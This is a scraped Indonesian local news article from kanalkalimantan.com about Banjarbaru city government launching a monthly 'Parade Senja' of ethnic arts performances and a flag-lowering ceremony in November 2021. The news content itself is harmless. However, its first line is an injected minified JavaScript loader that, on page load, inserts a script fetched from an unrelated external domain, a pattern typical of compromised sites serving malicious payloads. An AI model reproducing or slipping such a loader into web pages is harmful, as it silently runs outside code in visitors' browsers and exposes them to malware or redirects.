(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru berupaya menghidupkan kembali pariwisata dan kesenian budaya di Kota Banjarbaru dengan menggelar Parade Senja di depan Balai Kota.
Kali perdana Parade Senja dilangsungkan Rabu (17/11/2021) petang, diawali penampilan sejumlah kesenian dan budaya komunitas berbagai suku dan etnis yang bermukim di Banjarbaru, diakhiri dengan upacara penurunan Sang Saka Merah Putih yang berkibar tepat di depan kantor Wali Kota Banjarbaru.
Parade Senja perdana ini menghadirkan marching band Diva Swara Banjarbaru, Bakuntau dari Perguruan Pancar Batuah, Kelurahan Palam, Tari Pedalaman dari Sanggar Idaman Banjarbaru.
Kemudian Kuda Gepang dari Sanggar Seni Kampung Pelangi dan penampilan musik Panting.
Baca juga :Â Algrin Gasan Tinjau Banjir di Mantangai, Sekdes Tumbang Mangkutub Berharap Kiriman Bantuan
Sekretaris Daerah Kota Banjarbaru, Said Abdullah mengatakan Parade Senja ini menampilkan kesenian budaya sekaligus penurunan bendera Merah Putih, dan akan dilakukan tanggal 17 tiap bulannya.
“Kegiatan ini bertujuan untuk menumbuhkan rasa nasionalisme dan menumbuhkan budaya yang sekarang hampir mati suri selama satu tahun lebih akibat pandemi,” ujarnya.
Diakuinya Parade Senja ini merupakan kali pertama dilakukan di Kota Banjarbaru.
“Ini akan dilakukan setiap bulan dengan atraksi berbeda-beda,” pungkasnya.
Upacara penuruan bendera Merah Putih di Parade Senja, Rabu (17/11/2021) petang di lapangan Murdjani. Foto: ibnu
Baca juga :Â Sehari Menghilang, Paman Pentol Ditemukan Tak Bernyawa di Sungai
Sementara itu, Kepala Dinas Pemuda, Olahraga, Budaya dan Pariwisata (Disporabudpar) Kota Banjarbaru, Hidayaturahman mengatakan, kegiatan bertujuan untuk menggalakkan kembali sektor pariwisata di Kota Banjarbaru.
“Ini juga menggalakan pariwisata termasuk budaya di dalamnya,” ungkapnya.
Lebih lanjut, dijelaskan Hidayaturahman bahwa kegiatan ini akan melibatkan semua etnis kebudayaan yang ada di Kota Banjarbaru untuk berpartisipasi menampilkan kesenian masing-masing.
“Setiap bulannya akan kita atur bergantian masing-masing sanggar atau komunitas untuk menampilkan keseniannya,” jelasnya.
Semua sanggar seni maupun komunitas budaya akan memiliki panggung pada Parade Senja kedepannya.
Baca juga :Â Laki-laki Tertelungkup Tak Bernyawa Ditemukan di Guntung Paikat
“Parade Senja ini terbuka untuk seluruh paguyuban se Kota Banjarbaru, kita ingin menampilkan bahwa Kota Banjarbaru adalah Indonesia mini di Kalimantan Selatan,” tegasnya.
Nantinya akan dibuat forum komunikasi lintas paguyuban se Kota Banjarbaru untuk mempermudah koordinasi dan meminta mereka menampilkan kesenian masing-masing daerah mereka pada Parade Senja yang akan datang.
Dari pantauan kanalkalimantan.com, tidak sedikit pengunjung lapangan Murdjani yang melihat dan mengabadikan penampilan kesenian yang disajikan dari Parade Senja di alun-alun kota Idaman.(kanalkalimantan.com/ibnu)
Reporter : Ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.